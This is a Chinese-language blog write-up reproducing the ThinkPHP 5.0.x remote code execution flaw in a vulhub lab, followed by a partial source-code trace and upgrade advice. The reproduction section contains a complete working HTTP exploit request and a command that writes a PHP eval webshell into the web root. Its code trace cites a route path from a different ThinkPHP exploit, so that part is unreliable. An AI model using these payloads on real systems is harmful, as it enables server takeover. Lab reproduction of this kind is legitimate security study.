0x00 實驗環境
攻擊機:Win 10
靶場:docker拉的vulhub靶場
0x01 影響版本
其 5.0.23 以前的版本中,獲取 method
的方法中沒有正確處理方法名,導致攻擊者可以調用 Request 類任意方法並構造利用鏈,從而導致遠程代碼執行漏洞。
0x02 漏洞復現
(1)訪問存在的漏洞頁面,輸入以下payload:
POST /index.php?s=captcha HTTP/1.1 Host: x.x.x.x:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: settingStore=1630480512401_0 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 73 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
(2)寫shell:首先復制當前路徑,然后寫入shell即可,vulhub的靶場$符號被轉義了,加個斜杠即可:
/var/www/public
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST[x]); ?>" > /var/www/public/h.php
(3)連接成功!
0x03 漏洞原理
public\index.php----->跟進/../thinkphp/start.php----->\thinkphp\library\think\App.php的run函數
這個run函數有個監聽的方法:
// 監聽 app_dispatch Hook::listen('app_dispatch', self::$dispatch); // 獲取應用調度信息 $dispatch = self::$dispatch; // 未設置調度信息則進行 URL 路由檢測 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
變量$dispatch為空,所以進入routeCheck函數,跟入到此函數
public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; // 路由檢測 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; if ($check) { // 開啟路由 if (is_file(RUNTIME_PATH . 'route.php')) { // 讀取路由緩存 $rules = include RUNTIME_PATH . 'route.php'; is_array($rules) && Route::rules($rules);
這里可以打印一下路徑,以及一些變量,能得到:
路徑變量$path為index/think\app/invokefunction,POC中剩余變量存儲在$_GET中,繼續往下跟routeCheck函數,進入
路由無效
關鍵代碼如下:
// 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); }
代碼會進入到Route::parseUrl函數,此函數用來解析變量$path(index/think\app/invokefunction),跟進到此函數:
// 請求緩存檢查 $request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] ); $data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); }
最終會有個exec的函數,反正就是這個函數執行的,就暫時到這里。詳細的看這篇文章:https://www.cnblogs.com/st404/p/10245844.html
0x04 修復建議
1、升級到高版本
0x05 參考文獻
https://www.cnblogs.com/jiecoll/p/13425469.html
https://www.cnblogs.com/st404/p/10245844.html
0x06 免責聲明
本漏洞復現文章僅用於學習、工作與興趣愛好,並立志為網絡安全奉獻一份力量,凡是利用本博客相關內容的無良hackers造成的安全事故均與本人無關!